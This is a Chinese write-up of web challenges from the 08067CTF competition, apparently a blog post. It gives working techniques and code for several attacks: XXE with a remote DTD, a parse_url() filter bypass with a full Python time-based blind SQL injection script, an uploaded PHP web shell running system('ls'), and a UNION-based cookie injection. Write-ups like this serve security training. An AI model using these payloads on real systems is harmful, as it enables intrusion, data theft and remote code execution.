08067CTF-Web题解

师傅们一起来找flag(150)

本题考察XXE,过滤了ENTITY
查看题目源代码可看到提示

题目过滤了POST 内容中的ENTITY关键字,所以我们需要从远程主机加载dtd文件

在你自己的服务器的web跟目录下放一个kkk.dtd文件,内容如下:

然后发送构造好的数据包,并查看服务器日志文件
cat /var/log/apache2/access.log


XEE学习文章:
未知攻焉知防——XXE漏洞攻防
在XML中添加实体

web catch me if you can(200)


添加QQ,在其空间发现一串base64

解密获得一个网址,即小金库地址http://47.93.205.124:8001/


使用社工库手机用户信息

019157f2299755ad90a3bb8473f8****
md5最后4位打上了*号,根据用户名sonic2011可尝试将2011补在md5的*号处解密

用御剑可扫出后台地址为manage_login.php,使用账号sonic2011密码2010sonic登录

flag!flag

考察parse_url()绕过以及SQL盲注
parse_url()绕过可参考:
https://lorexxar.cn/2016/05/10/asis-bcloud/

http://39.106.13.2/web2/file.php?file=index
看到这种url就想到用php://filter读取网页源码
index.php

<?php
    error_reporting(0);
    include("check.php");
?>
check.php
<?php
    error_reporting(0);
    $_POST=Add_S($_POST);
    $_GET=Add_S($_GET);
    $_COOKIE=Add_S($_COOKIE);
    $_REQUEST=Add_S($_REQUEST);
    function Add_S($array){
        foreach($array as $key=>$value){
            if(!is_array($value)){          
                $check= preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
                if($check)
                    exit("Stop hacking by using SQL injection!");
            }
            else
                $array[$key]=Add_S($array[$key]); 
        }
        return $array;
    }
    function check_url()
    {
        $url=parse_url($_SERVER['REQUEST_URI']);
        parse_str($url['query'],$query);
        $key_word=array("select","from","for","like");
        foreach($query as $key)
            foreach($key_word as $value)
                if(preg_match("/".$value."/",strtolower($key)))
                    die("Stop hacking by using SQL injection!");
    }
?>

REQUEST_URI:域名之后的字符串
parse_url()



parse_str(string,array):该函数会把查询字符串解析到变量中。如果有设置第二个参数,会存储在该数组中。在php5.3之后的版本中parse_url()匹配出错会返回false,所以我们只要让parse_url()匹配出错,这样我们的payload就可以绕过检查。

import time
import requests
import string
flag = ''
mode = '_{}' + string.ascii_letters + string.digits
#_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
url = r"http://39.106.13.2////web2/article_show_All.php?a_id=' or if(mid((select flag from flag),%s,1)='%s',sleep(2),0)-- +"
for i in range(1,33):
    for char in mode:
        start = time.time()
        r = requests.get(url%(i,char))
        # print(url%(i,char))
        end = time.time()
        if end-start >= 1.5:
            print(char)
            flag += char
            if(char == '}'):
                print(flag)
                exit()
            break
print(flag)

You Think I Think(200)

上传头像处,上传成功将返回图片存储路径
http://39.106.11.158/web1/index.php/home/index/index.html

修改密码功能
http://39.106.11.158/web1/index.php/home/index/repass/temp/repass.html

http://39.106.11.158/web1/index.php/home/index/repass/temp/robots.txt

<?php echo "<pre>";echo system('ls'); ?>



上传图片马后,访问即可获得flag

我们来做个小游戏吧

a:2:{s:4:”name”;s:5:”admin”;s:5:”score”;i:100;}
union select 0x613a323a7b733a343a226e616d65223b733a353a2261646d696e223b733a353a2273636f7265223b693a3130303b7d– -
Cookie: SESSID=123456789012345678901234567890P%006908aa7

其他人的WP
SWPU2017 CTF web writeup
http://www.th1s.cn/index.php/2017/11/05/147.html

文章作者: Mochazz
文章链接: https://mochazz.github.io/2017/12/04/08067CTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog